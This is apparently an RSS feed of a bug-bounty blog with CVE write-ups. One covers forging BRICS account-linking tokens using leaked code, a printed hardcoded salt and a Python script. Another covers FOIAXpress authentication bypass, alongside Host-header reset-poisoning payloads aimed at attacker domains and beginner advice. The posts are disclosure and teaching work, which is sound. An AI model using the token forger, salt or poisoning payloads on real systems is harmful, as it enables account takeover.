<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Bug Culture</title>
    <description>Hacker Blog</description>
    <link>http://bugculture.io/</link>
    <atom:link href="http://bugculture.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sat, 27 Dec 2025 00:41:10 +0000</pubDate>
    <lastBuildDate>Sat, 27 Dec 2025 00:41:10 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>

    <!-- Include all blog posts -->
    
      <item>
        <title>CVE-2025-27580</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;You&apos;re so... Predictable&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;Earlier this year, while red teaming some public-facing web apps, I came across an unknown vulnerability in a platform called BRICS. It relied on tokens generated using predictable values and hardcoded salts—some of which had been around for years. During the recon phase, I found a lonely old GitHub repo containing the application’s source code. Even though the codebase had probably changed quite a bit, I figured traces of the original token generation logic might still be useful (originally used for password resets, now for linking SSO accounts) and made a note of it—which eventually led to the discovery of a zero-day that allowed unauthenticated users to take over accounts and escalate privileges.&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;BRICS == BRICKS?&lt;/span&gt;&lt;/h5&gt;
&lt;p&gt;The Biomedical Research Informatics Computing System, or BRICS, is a comprehensive but customizable data science platform designed to efficiently collect, validate, harmonize, and analyze research datasets. A modular, web-based system, BRICS makes the performance of research studies and clinical trials faster, simpler, and more collaborative. And because BRICS is un-branded and un-associated with a particular disease or organization, it can be customized to meet your research objectives. This web-based application is 21 CRF Part 11 compliant, &lt;b&gt;secure&lt;/b&gt;b&amp;gt;, and intuitive to use. In addition, users with programming expertise can use an application programming interface (API) for more dynamic data analysis including Artificial Intelligence and Machine Learning (AI/ML) applications. BRICS is actively used across the NIH and by the DoD for data warehousing, and clinical trials research.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/brics-software.png&quot; title=&quot;BRICs&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;From Curiosity to Compromise&lt;/span&gt;&lt;/h5&gt;
&lt;p&gt;The vulnerability was found before we were even issued testing accounts, and was in the application&apos;s account linking feature, which allowed users to link their Common Access Card (CAC) or another Single Sign-On (SSO) method to an existing account within the application.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/CAC-Login-success.png&quot; title=&quot;SSO Sign-in&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/CAC-Login-success2.png&quot; title=&quot;SSO Sign-in&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;It immediately caught my attention during testing, as I’d previously discovered vulnerabilities in similar features. The vulnerability stemmed from how the tokens sent to the email associated with the existing account were generated. For a similar vulnerability, check out my writeup of the &lt;a href=&quot;https://bugculture.io/writeups/web/predictable&quot;&gt;Predictable&lt;/a&gt; challenge from HackTheBox.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/link-an-account.png&quot; title=&quot;Link an Existing Account&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/link-an-account2.png&quot; title=&quot;Link an Existing Account&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Surprisingly, during the reconnaissance portion of the assessment, while conducting open-source intelligence (OSINT), I discovered a GitHub repo containing an outdated version of the software, nearly &lt;b&gt;five years old.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;In the older source code, the account linking feature didn&apos;t exist yet, but their was a password reset feature that looked oddly similar to the account linking page.&lt;/p&gt;
&lt;p&gt;It seemed passwords had been replaced by SSOs, but the logic for generating tokens for password resets had been recycled, and was now used to generate account linking tokens.&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Not So Random After All&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;The source code provided insight into some critical logic:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The tokens were generated by concatenating a user’s username and the timestamp of the request, then hashing the result using SHA-256.&lt;/li&gt;
  &lt;li&gt;The salt was hardcoded!&lt;/li&gt;
  &lt;li&gt;The URL and parameters to link and account (reset password in old code), which was something like: https://example.gov/portal/linkAccount.action?username=crose&amp;amp;token=&lt;hash&gt;
&lt;br /&gt;&lt;/hash&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;private String hashRecoveryString(String userName, Date date) {

		byte[] raw = null;

		// Digest the String
		try {
			raw = MessageDigest.getInstance(&quot;SHA-256&quot;)
					.digest((userName + date.toString() + CoreConstants.SALT).getBytes());
		} catch (NoSuchAlgorithmException e) {
			logger.error(&quot;There was an exception in the accountManagerImpl hashRecoveryString(): &quot;
					+ e.getLocalizedMessage());
			e.printStackTrace();
			return null;
		}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Crafting an Exploit&lt;/span&gt;&lt;/h5&gt;
&lt;p&gt;After reviewing the code, I knew I needed 3 things to get a working exploit:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A valid username.&lt;/li&gt;
  &lt;li&gt;A valid timestamp.&lt;/li&gt;
  &lt;li&gt;The salt value.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Valid usernames could be enumerated through the account creation process, which fulfills the first requirment.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/enumerate-usernames.png&quot; title=&quot;Enumerating Usernames&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Typically, to get the timestamp in a situation like this one, we would eventually need to brute-force it using a tool like ffuf with a list of potential tokens:&lt;/p&gt;

&lt;div class=&quot;collapsible-code&quot;&gt;
    &lt;div class=&quot;terminal-box&quot;&gt;
        &lt;div class=&quot;terminal-header&quot;&gt;
            &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
        &lt;/div&gt;
        &lt;div class=&quot;terminal-body&quot;&gt;
            &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ ffuf -u  https://example.gov/portal/linkAccount.action?username=crose&amp;amp;token=FUZZ  -w tokens.txt


        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
===============================================================
 :: Method        : GET
 :: URL           : [http://127.0.0.1:1337/api/reset-password](http://127.0.0.1:1337/portal/linkAccount.action?username=crose&amp;amp;token=FUZZ)
 :: Wordlist      : FUZZ: /home/kali/token.txt
 :: Follow redirects : false
 :: Calibration   : false
 :: Timeout       : 10
 :: Threads       : 40
 :: Matcher       : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter        : Response words: 5
===============================================================

&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;2d05f0c1a911b4176613134f6f0826fd&lt;/span&gt; [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms]

:: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::&lt;/pre&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Thankfully, the value was stored in a cookie called, &quot;linktime&quot;, after initiating a valid linking request, which was actually another way to enumerate valid users (no user == no cookie).&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cve-2025-27580/linktime-cookie-on-valid-linking-request.png&quot; title=&quot;LinkTime Cookie&quot; width=&quot;60%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Finally, since I already had the potential hardcoded salt value from the older public source code, I now had all three ingredients needed to create an exploit script.&lt;/p&gt;

&lt;p&gt;To accomplish this task, i used python and came up with the script below:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import hashlib

def generate_hashed_token(username: str, time_in_millis: str, salt: str) -&amp;gt; str:
    &quot;&quot;&quot;
    Generates a SHA-256 based token.
    :param username: The username used in the token generation.
    :param time_in_millis: The exact timestamp in milliseconds.
    :param salt: The application&apos;s SALT value.
    :return: The generated token as a hex string.
    &quot;&quot;&quot;
    raw_data = (str(username) + str(time_in_millis) + str(salt)).encode()
    hashed_bytes = hashlib.sha256(raw_data).digest()
    hex_token = &quot;&quot;.join(f&quot;{b:02x}&quot; for b in hashed_bytes)
    return hex_token

username = &quot;username&quot;
time_in_millis = &quot;timestamp&quot;
salt = &quot;7Dl9#dj-&quot;.strip() 

token = generate_hashed_token(username, time_in_millis, salt)
print(f&quot;Generated Token: {token}&quot;)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Account Takeover&lt;/span&gt;&lt;/h5&gt;
&lt;p&gt;With a potential proof of concept written up, I just needed to test it.&lt;/p&gt;
&lt;p&gt;I initiated an account linking request using a known username, and after a few seconds recieved an email with the following URL:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;https://example.gov/portal/linkaccount/linkAccount!linkAccount.action?username=rosehacks&amp;amp;token=&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Next, I ran the exploit script using the same username and timestamp I obtained from the cookie:&lt;/p&gt;
&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ python3 exploit.py
Generated Token: &lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef&lt;/span&gt;
&lt;/pre&gt; 
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;As you can see, the tokens matched up and I was able to successfully link my SSO to an existing application account with higher privileges than my own.&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Account Takeover!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;References&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;https://github.com/RoseHacks/Vulnerability.Research/tree/main/CVE-2025-27580&lt;/li&gt;
  &lt;li&gt;https://bugculture.io/writeups/web/predictable&lt;/li&gt;
  &lt;li&gt;https://www.cve.org/CVERecord?id=CVE-2025-27580&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 24 Apr 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/cve-2025-27580/</link>
        <guid isPermaLink="true">http://bugculture.io/cve-2025-27580/</guid>
        
        <category>red-team</category>
        
        <category>research</category>
        
        <category>auth-bypass</category>
        
        <category>cve</category>
        
        <category>account-takeover</category>
        
        <category>predictable</category>
        
        <category>tokens</category>
        
        <category>privilege-escalation</category>
        
        <category>0day</category>
        
        
      </item>
    
      <item>
        <title>Password Reset Poisoning</title>
        <description>&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Poisoning Password Reset Links&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;One of my favorite bugs to hunt for has been password reset poisoning. Why? Well, first off, it’s a fun and relatively straightforward bug to test for. And second, platforms usually pay decently for it, so the effort-to-reward ratio is pretty satisfying.&lt;/p&gt;

&lt;p&gt;But why is allowing aribtrary host headers (which is the first step to identifying password reset poisoning) so common in applications? Let’s break down some reasons:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/burp-pw-reset.JPG&quot; alt=&quot;Authentication Required&quot; title=&quot;Must be authenticated to submit requests!&quot; width=&quot;105%&quot; /&gt;
&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Lack of Proper Host Header Validation&lt;/span&gt;&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Many web servers (e.g., Apache, Nginx) and frameworks (e.g., Flask, Express.js) do not strictly validate the Host header by default.&lt;/li&gt;
  &lt;li&gt;Developers often overlook implementing strict validation or allowlisting of valid Host headers, leading to trust being placed in user-supplied headers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Reverse Proxy Misconfigurations&lt;/span&gt;&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;When reverse proxies are used (e.g., Nginx or HAProxy), misconfigurations may allow arbitrary Host headers to be passed upstream to the application.&lt;/li&gt;
  &lt;li&gt;Many proxies don’t sanitize the Host header by default unless explicitly configured.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Use of Development/Test Configurations in Production&lt;/span&gt;&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;During development, it’s common to run applications with permissive configurations (e.g., allowing all Host headers with 0.0.0.0 or *). If these configurations are carried over to production, the application remains exposed.&lt;/li&gt;
  &lt;li&gt;Misuse of Framework Defaults&lt;/li&gt;
&lt;/ul&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Some web frameworks trust the Host header as-is to build URLs&lt;/span&gt;&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Django’s default ALLOWED_HOSTS setting is empty in development (ALLOWED_HOSTS = [‘*’]), allowing all Host headers unless explicitly configured.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, there are many ways an application may end up configured in this way. Once I’ve identified that an application allows arbitrary host headers, the next step is to determine if it can be exploited. This can be achieved in several scenarios, such as cache poisoning or &lt;b&gt;password reset poisoning&lt;/b&gt;. For more details, check out PortSwigger’s guide to Host Header Attacks &lt;a href=&quot;https://portswigger.net/web-security/host-header&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Abusing The Logic in Password Reset Features&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;Once we discover an application that allows arbtrary host headers, and we have the ability to test this feature (we can create and use accounts), its time to test for the bug.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Dicover a way to get the application to allow arbitrary host headers. Sometimes there may be some sort of validation on the value of the host header. I’ve had success trying things like:&lt;/li&gt;
&lt;/ol&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Host: example.com
Host: example.commmmmmm.attacker.com
Host: attacker.example.us
Host: example.attacker.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Using our proxy, capture a request to to reset our user’s password.&lt;/li&gt;
  &lt;li&gt;Change the Host header to an arbitrary value and forward the request.&lt;/li&gt;
  &lt;li&gt;Check you email and hope for the best!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;b&gt;Good Luck and Happy Hunting!&lt;/b&gt;&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;References&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;https://portswigger.net/web-security/host-header&lt;/li&gt;
  &lt;li&gt;https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning&lt;/li&gt;
  &lt;li&gt;https://www.invicti.com/learn/password-reset-poisoning/&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 18 Jan 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/pw-reset-poison/</link>
        <guid isPermaLink="true">http://bugculture.io/pw-reset-poison/</guid>
        
        <category>bug-bounty</category>
        
        <category>host-header-injection</category>
        
        <category>password-reset-poisoning</category>
        
        
      </item>
    
      <item>
        <title>CVE-2024-53553</title>
        <description>&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Authentication Bypass in FOIAXpress® Public Access Link (PAL)&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;While doing bug bounty on HackerOne back in August, I uncovered a vulnerability in the FOIAXpress® PAL application from OPEXUS, which can integrate with payment solutions, including pay.gov for federal clients. This vulnerability, classified as an Execution After Redirect (EAR) flaw, allows unauthenticated users to bypass authentication mechanisms, potentially spoof emails, and submit requests on behalf of other users.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Discovery Process&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;I think we all have out own methodology when it comes to bug bounty, so I won’t fill this post with my own. Some things I think would be worth stating are the key events that led to me testing for this specific vulnerability.&lt;/p&gt;

&lt;p&gt;Whenever doing research on commercial off-the-shelf (COTs) software, I like to try to find any sort of documentation. These references are a great source of information for attackers. While trying to break the application, we need to know just as much if not more about it than the developers. By reading the documentation, we can figure out what users are “suppose to do”, which might cue us in on what we shouldn’t do - or should to find some bugs. 
To that point, while there was some documentation avalible online, I couldn’t find anything super useful outside of the applications home and help pages, which did give me some useful &lt;i&gt;hints&lt;/i&gt;, such as:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/5.JPG&quot; alt=&quot;Authentication Required&quot; title=&quot;Must be authenticated to submit requests!&quot; width=&quot;75%&quot; height=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;The home page of the application tells us, we “MUST” register or sign-in to make requests through the portal. As per usual when looking through documentation, I noted this down. Because, if the application is telling us we MUST be authenticated to make these requests, and were able to do that without authenticating, then &lt;b&gt;thats a bug!&lt;/b&gt;&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;How it unfolded&lt;/span&gt;&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I captured a request to an authenticated endpoint using Burp Suite.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The server responded with a 302 redirect, instructing the client to log in.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I intercepted the response and modified the 302 code to 200 OK and forwarded it to the browser.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/6.JPG&quot; alt=&quot;Authentication Required&quot; title=&quot;Must be authenticated to submit requests!&quot; width=&quot;75%&quot; /&gt;
&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Gaining Unauthenticated Access&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;The application now treated me as if I were authenticated, granting access to the submission page.&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Manipulating Submission email&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;Normally, when authenticated, this page will auto-fill the email of the current user, but since we werent authenticated, I could specify any email address in the email field, effectively impersonating another user.&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Email Validation Abuse&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;To further compound the issue, I discovered another endpoint that validated email addresses.&lt;/p&gt;

&lt;p&gt;Using this, I could verify valid email addresses on the application before submitting impersonation requests.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Lessons Learned&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;With this being my first CVE, I have learned a few things I felt may be useful to share with others on a similar journey:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Understand the submission process for new CVEs before submitting and be patient.&lt;/li&gt;
  &lt;li&gt;Vendors can be hit or miss. Do your due diligence as a security researcher and again, be patient.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;References&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;https://github.com/RoseHacks/Vulnerability.Research/tree/main/CVE-2024-53553&lt;/li&gt;
  &lt;li&gt;https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d&lt;/li&gt;
  &lt;li&gt;https://www.cve.org/CVERecord?id=CVE-2024-53553&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 14 Jan 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/CVE-2024-53553/</link>
        <guid isPermaLink="true">http://bugculture.io/CVE-2024-53553/</guid>
        
        <category>bug-bounty</category>
        
        <category>research</category>
        
        <category>auth-bypass</category>
        
        <category>cve</category>
        
        <category>0day</category>
        
        
      </item>
    
      <item>
        <title>Getting Started in Bug Bounty</title>
        <description>&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;The Bug Bounty Journey&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;As a recent entrant to the bug bounty scene with moderate success, I hope to share a short guide to help those who find themselves where I once did. Wondering about my credentials? Well, what originally got me into bug bounty hunting was completing the &lt;a href=&quot;https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter&quot;&gt;Bug Bounty Path&lt;/a&gt; from Hack The Box. By the way, great course! I fully recommend it for any aspiring pentesters and bug bounty hunters.&lt;/p&gt;

&lt;p&gt;After finishing the course, I started my bug bounty journey on HackerOne. Two weekends and a lot of hacking on VDP programs (I know, I know), I submitted 10 bugs, 8 of which were triaged. During that time, I discovered my first zero-day vulnerability (I’ll save the joys—and frustrations—of dealing with vendors for another post) in a COTS application. To be fair, the target had a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HUGE&lt;/code&gt; scope and likely hadn’t been tested much, so the research time probably wasn’t as intense as it should have been. But enough about me.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/92oh7v.jpg&quot; alt=&quot;Confused&quot; title=&quot;Where&apos;s The Bounty&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;What to Know?&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;Let’s pretend you’re not a total newbie. Maybe you’ve got some hacker certifications or field experience, but you’re unsure where to start with bug bounty hunting. It’s crucial to understand some key differences:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;This isn’t a pentest, but treat it like one. Be thorough! Log and document everything—this is even more critical in bug bounty hunting than in pentests or CTFs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Bug bounty hunting isn’t fast. You’re in it for the long haul, much like real threat actors. Take your time—one target could take weeks or months depending on its scope.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Luck plays a role. No matter how skilled you are, someone else might beat you to a bug.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Keep an open mindset and build upon a solid methodology as you hunt.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Bug bounty hunting is like an Easter egg hunt! You may spend a lot of time on a target and find nothing—that’s okay. Your next target may be full of bugs, making it all worth it.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;Where to Start?&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;There are plenty of solid public programs to start hacking on. &lt;a href=&quot;https://www.hackerone.com/&quot;&gt;HackerOne&lt;/a&gt;, &lt;a href=&quot;https://www.bugcrowd.com/&quot;&gt;BugCrowd&lt;/a&gt;, &lt;a href=&quot;https://www.intigriti.com/&quot;&gt;Integriti&lt;/a&gt;, etc. There are also private programs you can apply for, like &lt;a href=&quot;https://www.synack.com/&quot;&gt;Synack&lt;/a&gt;. With that in mind, choose a program, sign up, and move on to the next step: selecting a target! One of the most important parts of starting in bug bounty is choosing a target appropriate for your experience level. As a beginner, starting with a target offering rewards from $10k to $200k likely won’t lead to a very fruitful hacking experience.&lt;/p&gt;

&lt;p&gt;This is where I’d suggest starting with a Vulnerability Disclosure Program (VDP) (cue the eye rolls and echoes of ‘free labor?!’). Of course, this is optional, and it comes down to one question: Why are you doing this? Are you here to make money? Improve your resume and skills? Or maybe just for fun? Either way, it’s up to you—I’m just offering the easiest path to finding your first bug.&lt;/p&gt;

&lt;p&gt;VDP programs typically have fewer participants, increasing your chances of finding bugs. They’ll help you get comfortable hunting and sticking to a scope.&lt;/p&gt;

&lt;p&gt;When selecting your target, the final factor to consider is the scope, and it’s something you’ll want to approach carefully. Ideally, choose a target with a wide attack surface. What does that look like? Generally, I look for wildcards—the more, the better! This means all subdomains of the root domain are in scope, allowing your recon skills to shine. If you’re able to find hidden subdomains that haven’t been tested by other hackers, it increases your chances of finding bugs.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/bug_bounty_scope.png&quot; alt=&quot;Burp-Intruder&quot; title=&quot;Burp Intruder Settings&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;You’ll want to review the details of a target to see which vulnerabilities are in scope. If the target has a long list of disallowed vulnerabilities, it might not be beginner-friendly. Another key factor is how many bugs have been submitted recently—you’ll have better luck with a target that’s had 500 bugs in the last 90 days versus one with just 10.&lt;/p&gt;

&lt;p&gt;A great starting point is the Department of Defense’s bug bounty program on HackerOne. Their scope is huge—pretty much any .mil domain is fair game—and they accept a wide range of bugs. Just to show how beginner-friendly it is: in the last 90 days, over 1,700 bugs were submitted. Crazy, right? But a fantastic opportunity for newcomers nonetheless.&lt;/p&gt;

&lt;p&gt;Now that you’ve found a suitable target, let’s dive into the good stuff!
&lt;br /&gt;&lt;/p&gt;

&lt;h5&gt;&lt;span style=&quot;color: #ff4d4d; font-weight: bold;&quot;&gt;The Fun Part&lt;/span&gt;&lt;/h5&gt;

&lt;p&gt;Lastly, I want to discuss hunting methodology. I won’t get too technical—there are plenty of resources for that (including this website). What’s key here is quickly understanding recon and initially focusing on one or two specific vulnerabilities. &lt;b&gt;During recon, your goal should be to gather as much information as possible on the assets in scope, such as subdomains and open ports.&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;By narrowing your focus on a couple of vulnerabilities, you’ll streamline your testing and increase your chances of finding something meaningful early on.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/projectdiscovery&quot;&gt;Project Discovery&lt;/a&gt; has all the tools you’ll need for both passive and active recon, with a few exceptions, but it’s a great starting point for recon tooling. Once you’ve built a solid methodology for recon, the next step is to focus on one or two vulnerabilities to become thoroughly familiar with.&lt;/p&gt;

&lt;p&gt;People generally start with vulnerabilities like Cross-Site Scripting (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XSS&lt;/code&gt;), SQL Injection (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SQLi&lt;/code&gt;), and Insecure Direct Object Reference (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDOR&lt;/code&gt;). It doesn’t matter which ones you choose—what’s important is that you understand them thoroughly. Do as many PortSwigger labs as you can. Take all the notes! Build scripts and Nuclei templates to automate the search for these vulnerabilities. Understand them so deeply that you can almost anticipate what the developer was thinking when they introduced the bug into the code. Again, PortSwigger is an excellent resource for this.&lt;/p&gt;

&lt;p&gt;Another worthwhile step, though not necessary, would be to learn some frontend or backend programming (depending on the vulnerabilities you’re hunting). You can use free resources like the &lt;a href=&quot;https://www.theodinproject.com&quot;&gt;The Odin Project&lt;/a&gt; to get familiar with coding practices, and it certainly doesn’t hurt to know how something works when you’re trying to break it!&lt;/p&gt;
